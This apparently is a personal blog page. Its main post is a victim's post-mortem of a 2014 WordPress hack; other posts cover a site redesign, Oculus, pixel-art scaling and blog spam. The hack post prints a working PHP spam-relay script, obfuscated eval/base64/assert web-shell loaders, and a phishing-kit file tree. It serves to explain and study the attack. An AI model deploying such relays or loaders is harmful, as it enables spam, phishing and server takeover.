This is my submission to blogdom’s burgeoning class of eternally “work in progress” sites. I’ve been working on this blog reboot for nearly a year at this point (rest assured, I haven’t worked on it for any appreciable fraction of that time— but it’s nonetheless traumatizing for me as “blog posts written” is my primary metric for personal productivity).

There’s still a lot left to be done, but right now it should be in a more or less functional and navigable state. I’ve just added image thumbnailing (so this homepage shouldn’t take a triassic aeon to load anymore), which seems like an addition substantial-enough to warrant some new words adorning the featured post callout.

Most importantly though, it’s now a hip static site hosted on Github Pages (though I might move to S3), so the Turkish phishers last remaining venue for hijacking this site may be sending a pull request.

Getting Hacked

I unwittingly invited some consultants work on the new blog design, but all they could come up with was clearly somewhat unoriginal…

I don’t generally pay a lot of attention to this blog— especially during the beginning of every month. I used to generally hold myself to a rule that I would post something new at least once a month, but that policy kept slipping and then there was a mad dash to finish some blog post the first or second day of each new month to be retroactively timestamped.

Anyway, point is that I didn’t notice when the site got hacked for a few days. Unfortunately I don’t have any screenshots of what the site looked like when it was hacked. And at this point I can’t promise you that my mental model of what it looked like is anything more than a hallucination.

It’s a bit of an interesting chapter in my blog’s history, so I’ve spun off this section into its own post.

First Sketches

I guess it makes a reasonable amount of sense to write about how this site works. This is the first incarnation of the blog which is to any appreciable extent aesthetically original. It isn’t the default theme of JupiterCMS, PHPFusion, nor is it a free template for Wordpress.

It’s a pretty simple design, and it’s pretty nifty that in this day and age, a design which is sparse by ignorance is indestinguishable from a good design which is sparse by (uh) design. There isn’t much besides the simple arrangement of rectangles and lines and it relies pretty heavily on typography and whitespace to delimit sections.

At around the same time my blog stopped working, I came into the posession of a Moleskine. On June 14th, apparently, I started my first sketch of what my blog might be like.

In retrospect, it didn’t really look very coherent and I have literally no idea what I was trying to do at the time. But one of the motivations behind the entire endeavor was to strike a sort of balance between a blog and a portfolio. I like the idea of documenting the process of things and writing some part of the though process a somewhat non-abbreviated form. But one thing that I noticed is that a blog is a terrible means of surfacing older content, and I think a lot of the interesting ideas I’ve explored are the ones which I played around with several years ago.

On the other spectrum, I didn’t want to go too far in the direction of summary. I didn’t quite want it to be simply a résumé where I condense every endeavor into two buzzword-packed sentences which summarize the little iota of cleverness imbued in the project.

And so the motivation of the design was finding some way to hybridize the two goals— summary and process.

I found another sketch in my Moleskine dated June 24th, which seems to be a bit more coherent. On the right you can see some blocks and lines which, while not having much bearing on the current site design, at least seem like they might pass a Turing test criterion for sufficiently-websiteish website.

One thing that I noticed is that the sequence of my projects tends to be pretty structured. Over the years, I tend to explore little ideas which tend to culminate into singular projects— or alternatively, I build a larger project and spin off smaller components. All of this tends to happen over a relatively short time period (a few months to a year).

So in terms of a projects list, this means that I can introduce a bit of an aesthetic cadence where a series of minor projects are occasionally punctuated by larger projects. And because of this natural faux-hierarchy there’s a natural clustering which is generally both temporal and subjective. The short projects have single-sentence summaries, whereas the larger projects can have a paragraph worth of elaboration.

Naturally, all the project descriptions are hyperlinked and lead to a project page which includes all the blog posts documenting the process of creating that particular project.

New Tools

At some point I helped design a mobile app and ended up getting reasonably familiar with Adobe Illustrator.

It was also at this time that I started using tools that designers use— things like Adobe Illustrator and Bohemian Coding’s Sketch.

I don't actually understand what the units of the Y axis are

Well, so my blog got hacked. Even more unfortunate is that I can’t seem to locate any trace of what it looked like when it was hacked. I guess that’s the problem when you write a post-mortem literally a year after the original incident.

All that’s left is some eerie hints that something happened.

My blog was averaging around 350MB of bandwidth per day, when suddenly on June 6th, it started to spike. In fact, between June 6th and 7th, it used a total of over 40GB of bandwidth. It had eaten through my entire monthly bandwidth quota.

At 6:48pm on June 7th, I had discovered that something was going on with my blog and started the process of fixing it. I looked through some of the access logs and saw a particular abundance of a strange file pffam.php

91.234.164.143 - - [07/Jun/2014:05:07:18 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
78.26.204.99 - - [07/Jun/2014:05:07:19 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
46.173.111.151 - - [07/Jun/2014:05:07:21 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"

Presumably pffam.php was the bit of malicious code which was injected onto my server, acting as a nice endpoint for recieving and executing particular actions. It seems that Indy Library is some sort of .NET library which implements HTTP.

It’s interesting that the endpoint is being hit by multiple IP addresses, and they all seem to geolocate to Eastern European countries. Presumably they’ve built some sort of graphical Command & Control panel out of Visual Basic or something.

Unfortunately, it looks like I replaced the entire wordpress installation with an older backup— so I don’t actually have any copies of pffam.php. But it managed to use 40GB of bandwidth, and hackers are hardly keen on keeping all their eggs in one bucket, so surely there must have been other endpoints— right?

Sure enough, there’s another endpoint:

109.87.224.22 - - [06/Jun/2014:21:18:06 -0400] "POST /ajaxanimator/stick2-old/jsgif/Demos/dswbk.php HTTP/1.1" 200 4 "-" "Mozilla/3.0 (compatible; Indy Library)"

And it looks like it was buried underneath enough files that I hadn’t noticed and deleted it— woot? In fact there’s actually a number of fascinating files and folders in that directory

├── IT2_9z38yd
├── PwdbqQ3nh0
├── SLn30gBqqv
├── SPIFBSYgsr
├── UXLPRmw9YY
├── XviRYdmJ4H
├── baZn0aynkw
├── bosa.php
├── dibdt.php
├── dswbk.php
├── fr1.php
├── hummjvq.php
├── ptRiJiayze
│   ├── VjQauM_3Ev
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── sthy.php
├── vlizzvij.php
├── x4MslaR1CW
│   ├── BN3R5U8sF5
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── xstyles.php
└── yl27ceCuPh

So it looks like most of these folders are actually empty, and a lot of the rest of the top level PHP files are the same.

It seems that bosa.php, dibdt.php, dswbk.php, hummjvq.php, sthy.php, and vlizzvij.php are identical.

<?php
$to      = stripslashes($_POST["to_address"]);
$BCC      = stripslashes($_POST["BCC"]);
$subject = stripslashes($_POST["subject"]);
$message = stripslashes($_POST["body"]);
$from_address = stripslashes($_POST["from_address"]);
$from_name = stripslashes($_POST["from_name"]); 
$contenttype = $_POST["type"];


if (strlen($from_address) > 3)
{
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .=  "From: $from_name <$from_address>\r\n";
$header .=  "Reply-To: $from_name <$from_address>\r\n";
$header .= "Subject: $subject\r\n";

$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message), stripslashes($header));
}
else
{
$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message));
}




if($result)
{
echo 'good';
}
else
{
    'error : '.$result;
}
?>

I’m guessing that it’s being used to send spam messages to different people using the PHP mail() function.

More interesting is fr1.php, which is obfuscated as a giant base 64 encoded gzipped string.

eval(gzinflate(base64_decode('HZzHkoTKkkQ/591r...h/Pp/jc/L/+59///33f/4f')));

So to see what went inside, I stuck it in a different file and replaced the eval with echo. The first time I ran it, I had a bit of a double take because the result looked like this:

eval(gzinflate(base64_decode('FZ23kuNKtkU/Z+4NGN...gRP6r//+ffff//v/wE=')));

And if two times isn’t sufficiently meta, this happens a third

eval(gzinflate(base64_decode('FZy3buRaFkU/Z94DA3q...GAfkEQPM8TBK/yP//+++9//w8=')));

A fourth…

eval(gzinflate(base64_decode('HZ3HkqPqlkYf554TDPAuO...7fM8QRAFr//+9z///vvv//wf')));

fifth…

eval(gzinflate(base64_decode('FZzHjuNaskU/p+8FB/...qAgCFAAAIIgiYKX8N///Pvvv//3/w==')));

sixth…

eval(gzinflate(base64_decode('FZzHbuvKtkU/554...L63//+8++///73/wE=')));

seventh…

echo(gzinflate(base64_decode('FZ3HbuRKEkU/Z94...4nCAI0SDH/+ffff//7fw==')));

Actually, it goes on 40 more times, like a demented matroyshka doll. It’s not UTF-8 encoded, so I had to guess a handful of encodings before discovering that it was what Sublime Text calls “Cyrillic (Windows 1251)”. It’s 1500 lines, so I’ve posted it in a Gist rather than sticking it inline here.

I skimmed through the code and it seemed relatively safe— or at least it didn’t seem to plant any rootkits or start any persistent processes. So I ran it and got a screenshot. It seems to call itself “C99madShell v. 3.0 BLOG edition.php”

The other distinct file, xstyles.php seems to be a little more unique.

<?php 

$n = 'ss';
$r ="rt";
$a = "a";
$y='e';
$q = $a.$n.$y.$r;

$v = '5b17fxo30zD8d/Ip5C3tQoMx4CRXYgx...8B';

@$q("e"."va"."l('\x65\x76\x61\x6c\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x76\x29\x29\x29\x3b');");

So what does it do? Well, the first part basically just assembles q with the value “assert”.

bool assert ( mixed $assertion [, string $description ] )

When PHP’s built-in assert function is passed a string $assertion, it evaluates that string. It’s less known than eval so this is plausibly useful for evading firewalls of a certain sort. So what it finally translates to is:

assert("eval('eval(gzinflate(base64_decode($v)));');")

The decoded file starts out like this:

<?php
$auth_pass = "cef26cef9c9fdbdb49363368c8921635";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

I searched around for the password, but nobody’s yet been able to find a matching plaintext. However, along the way I found out about PHPDecoder which would have saved quite a bit of time an hour ago.

This one is also 1500 lines, so I’ve posted it in another Gist. This one looks aesthetically a bit nicer— if it’s not too weird to complement the tools of the people who hacked your website.

There’s one (hah, pun not intended) folder entitled 1/ which is particularly interesting. It has three subdirectories: configweb, sym, and tumdizin.

Configweb seems to be a directory filled with symlinks to 9414 distinct configuration files, each of them residing on someone else’s home directory. It encompasses lots of different software packages including Joomla, Wordpress, Zencart, SMF, WHM, OSCommerce, VBulletin and ore.

The directory sym seems to just contain a symlink entitled root to— you guessed it— /.

And finally tumdizin seems to link to the web roots of 116 distinct shared hosting accounts which happen to reside on the same server.

There’s also that folders which blow up in the tree x4MslaR1CW, and ptRiJiayze. You can probably guess by files like logo_paypal_106x29.png that this site got turned essentially into a phishing website for Paypal. I’m actually rather amazed that the result looks so plausible.

However, it seems that there was some weird activity going on starting a few days before the massive traffic. There’s an error_log file which seems to grow pretty slowly in general. There was a fairly large stretch from January to June with no errors— and then it seemed to constantly encounter these errors leading up to the traffic spike.

[03-Jun-2014 17:06:05 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/antimatt/public_html/wp/wp-rss.php(1) : eval()'d code:1) in /home/antimatt/public_html/wp/wp-includes/pluggable.php on line 1121
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24

I ended up downloading a daily backup of the server which was taken before it was hacked (June 1, 2014) and installing it onto a small virtual machine. I downloaded a Wordpress plugin for exporting the entire website as static HTML pages and uploaded it to Github pages. This served as a stop-gap measure for almost an entire year while I was getting the new site to work.

This experience is largely why I decided that this new incarnation would be a static site— essentially free from the perils that come with a dynamic website. It’s not like the old version used dynamic content to much advantage anyway, it was cached enough that it was practically static anyway.

I’m almost certainly an outsider, so I can’t speak for the gaming or VR communities, but to me the Facebook acquisition (and the Abrash onboarding announcement) signals that the new Oculus is more interested in bringing to fruition the Metaverse from Snow Crash, and that the hardware (Rift DK1, Crystal Cove, DK2, etc.) has been reduced to a mere means to attaining that end.

I think the “original” product was always contextualized as a gaming accessory, as the vested (financial, by virtue of Kickstarter) interest was held by gamers hoping to utilize this new form factor and experience.

I guess the question is what exactly is Oculus? In the beginning, I’d venture that the answer was simple. They were building a head mounted display which would be affordable, leveraging the technological improvements of the past decade (cheap high quality displays meant for phones and tablets, faster graphics cards). The hardware was their concern, and the software, the games and experiences, everyone else’s.

From the QuakeCon Abrash-Carmack-Luckey panel (which may be a bit dated), Carmack admits that he isn’t really interested in developing the hardware, as opposed to Luckey whose passion really lies in developing that hardware. Carmack, Abrash, and ultimately Facebook are alike in that they are software titans, which I think really shifts the balance in terms of the intentions for Oculus.

Sure there’s the hardware aspect, which is far from a solved problem. But given the palpable progress of Crystal Cove and the famed Valve prototypes, the end is nigh (to be less melodramatic, the consumer edition is on the brink of happening). But if you look at the teardowns, it’s a tablet screen, LEEP optics, an inertial measurement unit, and infrared tracker. The underlying display technology isn’t going to get better, because it’s already piggybacking off a much larger market where even Facebook’s considerable budget is a drop in the bucket.

I think since Carmack joined Luckey’s shop, the destiny of Oculus has shifted from producers of a mere display commodity to a more vertically integrated entity which develops both the hardware and the software which drives its progress and adoption (a la Apple).

And that accumulation of software talent is, I think, itself, a credible threat to the game developers hoping to build games for the Rift- because it establishes a first party, and that has the risk of pushing third party developers into the realm of the second class citizen.

But this dynamic of conflicted interest has played out several times before, and it is not usually an existential risk to the third parties. With transitions flipped, Microsoft had to deal with the risk of alienating OEMs when it started developing its own hardware- the Surface tablet. Likewise, Google’s decision to develop Nexus tablets and phones (and the acquisition of Motorola Mobility) was criticized because it would inevitably result in favoritism for its own devices, weakening relationships between LG, HTC, Samsung and the ilk.

The risk in stifling competition is inherent in any kind of move involving integration (horizontal, vertical, or 37 degrees counterclockwise), but on the other hand, this dissolution of the separation of interests enables the unimpeded progress toward a coherent vision.

And I think that coherent vision is to construct Virtual Reality that is truly grand, world-encompassing and liable to all the philosophical depth missing from prior incarnations outside of science fiction. Not the kind of gimmicky interactions retrofitted into first person shooters, jumping onto the bandwagon represented by that euphemistic initialism “VR”.

I don’t think post-acquisition institutional independence or agency ultimately matter, because the seeds for something larger has already been sown.

Is this new Oculus a threat to existing companies and their efforts to build VR games? Perhaps, this has to be true on some level, the more interesting question, I think, is whether or not this cost will be offset (and then some) by those inspired by Oculus’s vision and audacity and that which can be built on this new and boundless meta-platform.

..so I just finished writing all of this. I originally meant it as a Hacker News comment, and then halfway through I decided not to ultimately submit it, because if you really think about it, this is all kind of silly. I feel like one of those poor conspiracy theorists connecting dots where the lines may not exist. I’m sure there are nontrivial technical challenges that still need to be vanquished, but as an outside observer, I’d claim that Dunning-Kruger permeates my perception, and I can’t possibly gauge the extent of problems that remain (the less you know, the simpler it all seems). And I have a habit of conflating long term with short term (when I was 12, I vowed not to learn to drive, because surely, aeons from then, when I turned 16, the cars would no doubt drive themselves). I mean, I wrote all of this like five minutes ago, it can’t be _that _wrong already, right?

Every once in a while some gadget has the misfortune of epitomizing the next first world problem. I guess right now, this is owning a Retina (or equivalent) laptop, tablet (arguably phone, but most web pages are scaled out so it’s not that big of a problem) and being irked at the prevalence of badly scaled graphics. So there’s a new buzzword “Retina Ready” for websites, layouts and designs which support higher resolution graphics for devices which support it, often meaning of lots of new files and new css rules. It’s this trend of high-pixel-density devices (with devices like the iPad 3, Retina Macbook Pro, Nexus 10 and Chromebook Pixel - though I for one don’t currently have any of them, just this old glitchy-albeit-functional first generation Chromebook) that is driving people to vector icon fonts.

But the problem of radical increases in terms of resolution isn’t a new one. Old arcade games rarely exceeded 260x315, and the Game Boy Color had a paltry 160x144. While a few people still nostalgically lug around game cabinets and dig out their dust-covered childhood handheld consoles for nostalgic sneezing fits, most of the old games are now played with emulators running on systems several orders of magnitude more sophisticated in every imaginable aspect. So that arcade monitor that once could engross a childhood (and maybe early manhood) now appears nothing more than a two inch square on a twenty inch monitor. But luckily there is a surprisingly good solution to all of this in the form of algorithms designed in particular for scaling pixel art.

The most basic form of image scaling that exists is called nearest-neighbor interpolation, which is extra simple for retina devices because it means simply growing the size of each pixel by a factor of two along each axis. That leads to things which are blocky, and unless you’re part of an 8-bit retro-art project with a chiptune soundtrack looks ugly.

The most common form of image scaling borrows a lot from the math and signal processing fields, with names like bilinear, bicubic, and lanzcos essentially they treat an image as some kind of composition of sinusoidal parts and try to ideally extrapolate and interpolate such that visible artifacts are marginalized. It’s all very mathy, but the result is kind of the opposite of nearest-neighbor because it has the tendency to make things blurry and fuzzy.

The thing is that the latter tries to reach some kind of mathematical ideal, because images taken by your friendly neighborhood DSLR-toting amateur (spider-powers optional) are actually samples of real world points of data— so this mathematical pursuit of purity works out very well. There’s still the factor-of-four information-theoretic gap that needs to be filled in with best-guesstimates, but there isn’t really any way to improve the way a photograph is scaled without using a higher-resolution version of said photograph. But most photographs that are taken already are sixteen-megapixel monsters and they usually still look acceptable when upscaled.

The problem arises with pixel art, little icons or buttons which someone painstakingly drew in Photoshop one lazy summer afternoon in the late 90s. They’re everywhere and each pixel isn’t captured and encoded by a sampling algorithm of some analog natural phenomona— each pixel was lovingly crafted and planted by some meticulous artist. There is no underlying analog signal to interpret, it’s a direct perceptual hookup to the mind of the creator— and that’s why bicubic sampling looks especially bad here.

Video games, before 3d graphics engines and math-aware anti-aliasing concerned with murdering jaggies, in the old civilized age of bit-blitting, were mostly constructed out of pixel art. Each color in that limited palette was placed there for a reason and could be exploited by specialized algorithms to construct higher-quality upscaled versions which remained sharp. These come with the names EPX, Scale2x, AdvMAME2x, Eagle, 2×Sal, Super 2×Sal, hqx, and most recently, Kopf-Lischinksi. These algorithms could be applied in real time to emulator windows to acceptably scale a game to new sizes while eschewing jagged corners and blurry edges.

Anyway the cool thing is that you can probably apply these algorithms in lieu of the nearest-neighbor or bilinear scaling algorithms used by browsers on retina platforms to effortlessly upgrade old sites to shiny and smooth. With a few rough heuristics (detect if an image appears to be a sprite by testing for a limited palette, see if the image is small or a perfect square, detect if it has transparent pixels) this could be packed into a simple script include that website makers could easily inject into their pages to automagically upconvert old graphics to new shiny high-resolution ones without having to go through the actual effort of drawing new high resolution graphics and uploading them online. And this could also be packaged as a browser extension so that, once and forever after, this first-world nuisance shall be no more.

Before setting out to port hqx-java to javascript, I actually did some cursory googling to see if it actually had been done before. Midway through writing this post, I found out that it actually had been done before, in a better way, so I won’t even bother linking to my inferior version. But either way the actual goal of this project was the part which was detailed in the last paragraph, that of an embeddable script or browser extension which could heuristically apply pixel-scaling algorithms— something I probably won’t bother trying to do until at least after I get my college laptop (which I anticipate will be a Retina Macbook Pro 15”). Nonetheless, I haven’t written an actual blog post in almost three months and it’s the last day of this month, and I guess it’s better than having you all (though nobody’s probably going to read this now that Google Reader has died) assume that I’ve died. Anyway, now I’m probably going to retroactively publish old blog posts in previous months to fraud continuity.

blog-post-frequency

This post has been hinted at by the past few blog posts, but I guess eventually it has to be written. But the basic gist is that rather than making this the home of random announcements of mostly finished projects, it’ll be the home of mostly daily (or weekly, whenever significant progress is made) and probably shorter updates on the progress certain projects. That is, the blog is transitioning back into something more like the olden days (circa 2008-ish) but without falling into the trap of using this as an alternative to having commit messages and still supporting the fact I’m now working on quite a bit more than one project at a time.

The problem is that I can’t exactly stay true to that because I actually have quite a bit of backlog in terms of stuff I have to write about, stuff which is for the most part done (so it’s not particularly viable for me to make up progress updates retroactively, and I’ll probably have to stick with writing a big blog post about it).

This should be the culmination of tons of factors and trends building up for the past year or so. I’ve always felt that the blog needed to be overhauled eventually (or end up rotting as nothing more than a backup kept in the eternal resting spot which is the Internet Archive, leaching fluids into the soil as bacterium leave the corpse punctured by holes and missing vital organs, a sure sign that I’m probably going too far into this metaphor, but in the end that’s the way many of the forums I used to visit have become). But the real spark came in the form of a migration to a new web host, something which I still alas have yet to blog about despite it happening over a week ago.

Those changes are hardly precipitous (however much anyone wants to unveil something in one flash of an instant in order to feign the appearance that everything happened suddenly and approached new heights of grandeur, that never actually happens, and it’s simply harder to work in that sort of manner - slow and steady doesn’t always lose the race). The first part was the change of the web host itself which was actually not exactly planned (I was testing out it, and unexpectedly on a whim cancelled my old web host and migrated over over the course of an afternoon and left the site down for a few hours). The second front at which this evolution occurred was a slight redesign, changing the color scheme a bit, upgrading the theme, reorganizing the categories and menus (this is meant to be chronicled in detail in some other blog post which I have yet to written). And the third and last one (which was meant to be the topic of this blog post) is a change in content.

In summary, three inevitable changes on three different fronts. Content, Frontend, and Backend. All in a not-so-grand gesture to save this blog from decaying into a moldy blob of feces on the internet’s great sidewalk.

I’m getting a lot of spam (it’s showing up on my Akismet filter) on this blog now. I usually only get a few (~5) trackback spams (no comment spam). But now, I’m getting ~11 trackback messages OVERNIGHT, and I’m getting a few comment spams (basically unheardof). Just like two weeks ago I hit a TOTAL of 500 spam, now it’s close to 1200.

Strangely enough, I’m actually pretty happy of this. Spam is an indication of people actually visiting it. Even though virtually nobody comments (still a lot more than the early days of the blog).

And the stuff at http://antimatter15.110mb.com/phpfusion/ is really spammy now :( I built a quick-n-dirty spam filter for it, and it’s database is over 7mb !!!!

Today, I’ve launched the new site. My new blog. We’re starting over. I don’t know what to do exactly. I just hope that everyone can adjust to this new site. I like it more, it may be somewhat faster - at least my spam problem will be fixed.

If you still wan to visit the old site, feel free to do so at http://antimatter15.110mb.com/phpfusion everything will still be perfectly accessible, and feel free to register there. If this doesn’t work out, i could revert back to phpfusion. But I think the move is for the better.

Please, Really, post your thoughts as a comment to this post. Please, I beg of you.

I’m really not that interesting. This blog is just a place where I talk about random ideas or projects like just about everyone else.

I’ve never really been into talking about myself, rather just the stuff I do or think. I may be somewhat paranoid, or whatever. I think I’m an INTP but I’m not too certain (could my subconscious be deceiving me?).

If you’re more interested on the history of this blog, well, it started a long time ago. I started with phpfusion as my CMS (and 110mb as my host) back in late May 2007, and switched to WordPress and phpBB in mid-2008. Later the year, I got a new web host, GoDaddy, but the blog didn’t migrate there. Just a few days later I switched from phpBB to BBPress. From then to Mid-July 2009, I upgraded to WordPress 2.8 and migrated to a new host.

This blog initially was for the sole purpose of hosting changelogs for the Ajax Animator project (which itself began sometime before March of 2007).

Before this blog, I had several sites starting with a simple Google Page Creator one from 2005. After that I made a Jupiter CMS powered site and later used Joomla after experimenting with Drupal. After moving to 110mb, I used phpfusion because people on the forums seem to like it. Now I’m on wordpress (and repeating whatever I wrote 2 paragraphs above)!

If you want to contact me, my email’s antimatter15@gmail.com I’d really appreciate it if nobody sent spambots after me. You can follow me on Twitter at @antimatter15 or on Google+.